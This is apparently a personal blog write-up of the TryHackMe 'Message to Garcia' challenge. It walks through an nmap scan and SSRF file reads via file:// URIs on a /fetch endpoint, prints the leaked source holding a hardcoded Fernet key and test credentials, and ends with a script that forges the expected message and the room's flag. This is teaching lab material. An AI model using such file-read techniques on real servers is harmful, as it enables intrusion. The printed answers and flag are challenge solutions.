Skip to main content

Command Palette

Search for a command to run...

Message to Garcia (TryHackMe)

Published
12 min read
Message to Garcia (TryHackMe)
J

Software Developer | Learning Cybersecurity | Open for roles *

If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Introduction

In 1899, Elbert Hubbard wrote a short essay that would outlive him by over a century. It told the story of Lt. Andrew Rowan, a soldier given one mission: deliver a message to General Garcia. No map. No escort. No hand-holding. Just the mission and the resourcefulness to see it through. That essay — A Message to Garcia — became a timeless metaphor for initiative and execution under uncertainty.

It's also the perfect framing for this TryHackMe challenge.

Before we dive in, here's something that struck me while watching The Night Agent on Netflix recently: there's a scene where a physical book is used as a decryption key — a concept borrowed straight from real intelligence tradecraft. In cryptography, this is called a codebook cipher, where a specific edition of a published book serves as a shared secret. Only someone with the exact same copy can decode the message. It's surprisingly elegant — and it highlights something fundamental about encryption: security depends entirely on protecting the key, not just the algorithm.

In this challenge, the same principle applies. The application uses Fernet — a symmetric, authenticated encryption scheme built on AES-128-CBC. "Symmetric" means the same key encrypts and decrypts. Unlike asymmetric systems (like RSA or PGP, where you encrypt with a public key and decrypt with a private one), Fernet's security lives and dies by one thing: keeping that key secret. The moment an attacker reads your functions.py, the cipher is worthless.

That's exactly what we're about to do.

A message worth delivering

It was 1899 when "A Message to Garcia" became a powerful metaphor for reliability, initiative, and getting the job done: no excuses, no unnecessary questions, just execution.

"My heart goes out to the man who does his work when the "boss" is away, as well as when he is home. And the man who, when given a letter for Garcia, quietly takes the missive, without asking any idiotic questions, and with no lurking intention of chucking it into the nearest sewer, or of doing aught else but deliver it, never gets “laid off,” nor has to go on strike for higher wages. Civilisation is one long anxious search for just such individuals. Anything such a man asks will be granted; his kind is so rare that no employer can afford to let him go. He is wanted in every city, town, and village - in every office, shop, store, and factory. The world cries out for such; he is needed, and needed badly - the man who can carry a message to Garcia." (Elbert Hubbard, 1899)

The story describes how a soldier, Lt. Rowan, was entrusted with a mission: deliver an important message to General Garcia. Instead of getting bogged down with questions about Garcia's location or the route to take, Rowan simply takes action and accomplishes the mission with the limited information he has. He got it done using his resourcefulness to fill in the gaps. Does that sound familiar? Much like how we researchers and security professionals operate, we often work with limited information and find creative ways to identify vulnerabilities and secure systems.

Answer the questions below

What was the name of the Lieutenant who delivered the message to Garcia? Rowan

Challenge

Now, you find yourself in a similar situation as Lt. Rowan, except instead of a handwritten note, the message you need to deliver is unknown, via a secure file transfer server (SFTP).

Can you find your way in?

Answer the questions below

What type of encryption is the service using? symmetric

nmap -p- -sV <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-08 20:13 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for <IP_Address>
Host is up (0.00022s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx 1.24.0 (Ubuntu)
5000/tcp open  upnp?

README.md: reveals the answers to questions 1 & 2 in this section

file://README.md


Resource Fetcher

Fetch external resources or internal files

File content:
# SecureComms Platform
Enterprise-grade secure file transfer and messaging system for Garcia Communications Inc.


## Overview

SecureComms is an internal platform designed for secure document exchange and encrypted messaging between authorized field operatives and command personnel. The system implements military-grade encryption for all classified communications and provides secure backup functionality for mission-critical intelligence files.

## Operational History

- **2019**: Initial deployment for Garcia Communications field operations
- **2020**: Expanded to support multi-theater intelligence coordination  
- **2021**: Enhanced encryption protocols following security audit
- **2022**: Integration with SFTP services for automated file transfers
- **2023**: Backup system implementation for operational continuity
- **2024**: Resource fetcher module added for external intelligence validation
- **2025**: Migration to Fernet encryption for improved compatibility

The platform has successfully facilitated over 2,847 classified message exchanges across 23 countries, maintaining a 99.97% delivery success rate with zero security breaches.

## System Architecture

- **Frontend**: Modern web interface with TailwindCSS
- **Backend**: Flask-based API with Python 3.x
- **Security**: Fernet symmetric encryption for all message content
- **Storage**: Local filesystem with backup capabilities
- **Monitoring**: SFTP server integration for file transfers

## Quick Start

### Installation

```bash
# Install dependencies
pip install -r requirements.txt



## Configuration

### Environment Setup
- Python 3.8+ runtime environment
- Flask web framework
- Cryptography library for encryption operations

### Network Configuration
- Web interface: Port 5000 (HTTP)
- SFTP service: Port 2222
- File upload limits: 5MB maximum
- Accepted file types: `.gpg`, `.enc`

## Features

### Message Upload System
Secure message delivery system accepting encrypted files. Messages must be properly encrypted with the correct encryption key and contain valid Garcia Standard format content.

**Technical Note**: Message validation logic is implemented in the core application `functions.py` module. System administrators can reference the validation routines for troubleshooting message format issues.

### Intelligence Backup System
Navigate to `/backup` for secure backup functionality. Field operatives can upload classified documents using custom file paths to maintain operational compartmentalization.

### External Resource Validation
Navigate to `/fetch` for advanced reconnaissance module. Supports multiple protocols for validating external intelligence sources and communication channels.

### SFTP Server Integration
Built-in SFTP server for automated file transfers and batch processing operations. Access status monitoring at `/status` endpoint.

## Message Protocol

All classified communications follow the "Garcia Standard" message format established in operational directive 2847-Alpha. Messages must contain:
- Operational codename acknowledgment
- Geographic coordinates for rendezvous
- Mission cipher confirmation
- Proper authentication markers

## Security

- **Encryption**: Fernet symmetric encryption (AES 128-bit)
- **Key Management**: Centralized key storage

## File Structure

```
.
\u251c\u2500\u2500 app.py                  # Main Flask application
\u251c\u2500\u2500 functions.py            # Core encryption and validation logic
\u251c\u2500\u2500 sftp_server.py          # SFTP server implementation
\u251c\u2500\u2500 create_message.py       # Utility to generate encrypted messages
\u251c\u2500\u2500 requirements.txt        # Python dependencies
\u251c\u2500\u2500 templates/              # HTML templates
\u251c\u2500\u2500 static/                 # CSS, JavaScript, fonts
\u2514\u2500\u2500 uploads/                # File upload directory
```

## Development

Run with debug mode:
```bash
python3 app.py
```

For production deployment, set the environment variable:
```bash
export FLASK_ENV=production
python3 app.py
```

## Troubleshooting



### Module Import Errors
```bash
# Reinstall dependencies
pip install -r requirements.txt
```

## Current Operations
- **OPERATION COORDINATE**: Active intelligence gathering in Mediterranean theater
- **OPERATION CIPHER**: Cryptographic key distribution to embedded assets  
- **OPERATION GARCIA**: Ongoing secure communication with field operatives

**Security Clearance Required**: All personnel must maintain SECRET level clearance or higher for system access.

---

**Last Updated**: January 2025  
**Maintainer**: Garcia IT Security Division  
**Classification**: CONFIDENTIAL

Fetch Resource

Enter a URL to fetch content from external or local resources
Resource URL:

Supports HTTP/HTTPS URLs and local file protocol.
\u2190 Back to Main Challenge

What implementation of authenticated encryption is the service using? Fernet

What is the encryption key? TUVTU0FHRVRPR0FSQ0lBMjAyNF9LRVkhISEhISEhISE=

file://functions.py



File content:
import os
from cryptography.fernet import Fernet

# The encryption key (in a real scenario, this would be derived from the private key)
# For this challenge, we'll use a fixed key
ENCRYPTION_KEY = b'TUVTU0FHRVRPR0FSQ0lBMjAyNF9LRVkhISEhISEhISE='
cipher = Fernet(ENCRYPTION_KEY)

EXPECTED_MESSAGE = "Garcia, it seems I've cracked the code!! I need you to meet me at coordinates: 40.4168° N, 3.7038° W. The cipher is: TRACK"

def is_valid_gpg_file(filename):
    """Check if file has .gpg or .enc extension"""
    return filename.lower().endswith((".gpg", ".enc"))

def ensure_upload_folder(folder):
    os.makedirs(folder, exist_ok=True)

def validate_encrypted_message(encrypted_data: bytes):
    """Decrypts the uploaded file and checks if it matches the expected message."""
    try:
        print(f"[*] Attempting to decrypt message...")
        decrypted = cipher.decrypt(encrypted_data)
        plaintext = decrypted.decode('utf-8').strip()
        
        print(f"[+] Decrypted message: {plaintext}")
        print(f"[DEBUG] Expected: {EXPECTED_MESSAGE}")
        print(f"[DEBUG] Match: {plaintext == EXPECTED_MESSAGE}")
        
        if plaintext == EXPECTED_MESSAGE:
            return True, "Message is valid."
        else:
            return False, "Message content does not match."
    except Exception as e:
        print(f"[-] Decryption failed: {e}")
        return False, f"Decryption failed: Invalid encryption or corrupted file."

What is the message that needs to be delivered? Garcia, it seems I've cracked the code!! I need you to meet me at coordinates: 40.4168° N, 3.7038° W. The cipher

file://functions.py



File content:
import os
from cryptography.fernet import Fernet

# The encryption key (in a real scenario, this would be derived from the private key)
# For this challenge, we'll use a fixed key
ENCRYPTION_KEY = b'TUVTU0FHRVRPR0FSQ0lBMjAyNF9LRVkhISEhISEhISE='
cipher = Fernet(ENCRYPTION_KEY)

EXPECTED_MESSAGE = "Garcia, it seems I've cracked the code!! I need you to meet me at coordinates: 40.4168° N, 3.7038° W. The cipher is: TRACK"

def is_valid_gpg_file(filename):
    """Check if file has .gpg or .enc extension"""
    return filename.lower().endswith((".gpg", ".enc"))

def ensure_upload_folder(folder):
    os.makedirs(folder, exist_ok=True)

def validate_encrypted_message(encrypted_data: bytes):
    """Decrypts the uploaded file and checks if it matches the expected message."""
    try:
        print(f"[*] Attempting to decrypt message...")
        decrypted = cipher.decrypt(encrypted_data)
        plaintext = decrypted.decode('utf-8').strip()
        
        print(f"[+] Decrypted message: {plaintext}")
        print(f"[DEBUG] Expected: {EXPECTED_MESSAGE}")
        print(f"[DEBUG] Match: {plaintext == EXPECTED_MESSAGE}")
        
        if plaintext == EXPECTED_MESSAGE:
            return True, "Message is valid."
        else:
            return False, "Message content does not match."
    except Exception as e:
        print(f"[-] Decryption failed: {e}")
        return False, f"Decryption failed: Invalid encryption or corrupted file."

What's the flag? THM{ssrf_2_rce_v1a_message_2_garc1a}

file://sftp_server.py


File content:
import socket
import paramiko
import threading
import os
import time

HOST_KEY = paramiko.RSAKey.generate(2048)  # Generate RSA Key
USER_CREDENTIALS = {"testuser": "testpass"}  # Username & Password
AUTHORIZED_KEYS_FILE = os.path.expanduser("~/.ssh/authorized_keys")

# === Encryption Setup ===
from cryptography.fernet import Fernet

ENCRYPTION_KEY = b'TUVTU0FHRVRPR0FSQ0lBMjAyNF9LRVkhISEhISEhISE='
cipher = Fernet(ENCRYPTION_KEY)
EXPECTED_MESSAGE = "Garcia, it seems I've cracked the code!! I need you to meet me at coordinates: 40.4168° N, 3.7038° W. The cipher is: TRACK"

class SFTPHandler(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_auth_publickey(self, username, key):
        """ Check if the public key is authorized """
        if os.path.exists(AUTHORIZED_KEYS_FILE):
            with open(AUTHORIZED_KEYS_FILE, 'r') as f:
                authorized_keys = f.read().splitlines()

            keydata = key.get_base64()
            for line in authorized_keys:
                if keydata in line:
                    print("Public key authentication successful.")
                    return paramiko.AUTH_SUCCESSFUL

        print("Public key authentication failed.")
        return paramiko.AUTH_FAILED

    def check_auth_password(self, username, password):
        if username in USER_CREDENTIALS and USER_CREDENTIALS[username] == password:
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

    def check_channel_request(self, kind, chanid):
        if kind == "session":
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

class SFTPServer:
    def __init__(self, host="0.0.0.0", port=2222):
        self.host = host
        self.port = port
        self.server_thread = None
        self.running = False

    def validate_file(self, file_path):
        print(f"[*] Validating uploaded file: {file_path}")
        try:
            with open(file_path, 'rb') as f:
                encrypted_data = f.read()
            
            decrypted = cipher.decrypt(encrypted_data)
            message = decrypted.decode('utf-8').strip()
            
            print(f"[*] Decrypted message: {message}")
            if message == EXPECTED_MESSAGE:
                print("[+] Message accepted. Well done, agent.")
            else:
                print("[-] Message rejected. Incorrect content.")
        except Exception as e:
            print(f"[-] Decryption failed: {e}")

        # === Delete file after validation ===
        os.remove(file_path)
        print(f"[*] Deleted processed file: {file_path}")

    def start(self):
        if self.running:
            print("Server is already running.")
            return

        def run_server():
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.bind((self.host, self.port))
                sock.listen(5)
                print(f"SFTP Server running on {self.host}:{self.port}")
                self.running = True

                while self.running:
                    client, addr = sock.accept()
                    transport = paramiko.Transport(client)
                    transport.add_server_key(HOST_KEY)
                    server = SFTPHandler()
                    transport.start_server(server=server)
                    channel = transport.accept()
                    if channel is not None:
                        print(f"Client {addr} connected.")

                        # Check uploaded files
                        upload_folder = "/home/ubuntu/sftp/uploads/"
                        uploaded_files = os.listdir(upload_folder)
                        for f in uploaded_files:
                            file_path = os.path.join(upload_folder, f)
                            self.validate_file(file_path)

            except Exception as e:
                print(f"Error: {e}")

        self.server_thread = threading.Thread(target=run_server, daemon=True)
        self.server_thread.start()

    def stop(self):
        self.running = False
        print("SFTP Server stopped.")

sftp_server_instance = SFTPServer()

if __name__ == "__main__":
    sftp_server_instance.start()

Made use of all the files we retrieved with the help of Claude to create the script below, which helps us to generate the message.enc which was to be uploaded to the site in order to find the flag

from cryptography.fernet import Fernet

ENCRYPTION_KEY = b'TUVTU0FHRVRPR0FSQ0lBMjAyNF9LRVkhISEhISEhISE='
cipher = Fernet(ENCRYPTION_KEY)

message = "Garcia, it seems I've cracked the code!! I need you to meet me at coordinates: 40.4168° N, 3.7038° W. The cipher is: TRACK"

encrypted = cipher.encrypt(message.encode('utf-8'))

with open('message.enc', 'wb') as f:
    f.write(encrypted)

print("Done! message.enc created")

Conclusion

Lt. Rowan didn't ask where Garcia was. He just went and found him.

In this challenge, we followed the same principle — enumerating the attack surface methodically, pivoting through the SSRF vulnerability on /fetch to read internal source files, and extracting the Fernet encryption key hidden in plain sight inside functions.py. Once we had the key and the expected message format, generating a valid message.enc was a single Python script.

The full attack chain:

  1. Reconnaissance — Nmap revealed ports 22, 80, and 5000 (Flask/Werkzeug)

  2. Directory enumeration — Gobuster uncovered /fetch, /backup, /upload, /status

  3. SSRF exploitation — The /fetch endpoint accepted file:// URIs with zero validation

  4. Source code disclosurefile://README.mdfile://functions.py leaked the Fernet key and expected plaintext

  5. Cryptographic exploitation — Encrypted the exact expected message with the stolen key

  6. Flag — Uploaded message.enc, validated successfully → THM{ssrf_2_rce_v1a_message_2_garc1a}

Key lesson: Symmetric encryption is only as strong as your key management. Hardcoding a Fernet key inside application source code — stored on the same server the app runs on — is the cryptographic equivalent of writing your safe combination on a sticky note attached to the safe. The /fetch SSRF turned what looked like a web vulnerability into full cryptographic compromise.

The Night Agent's codebook scene and this challenge teach the same thing: it doesn't matter how strong your cipher is if someone can read the key.

Mission complete. Message delivered.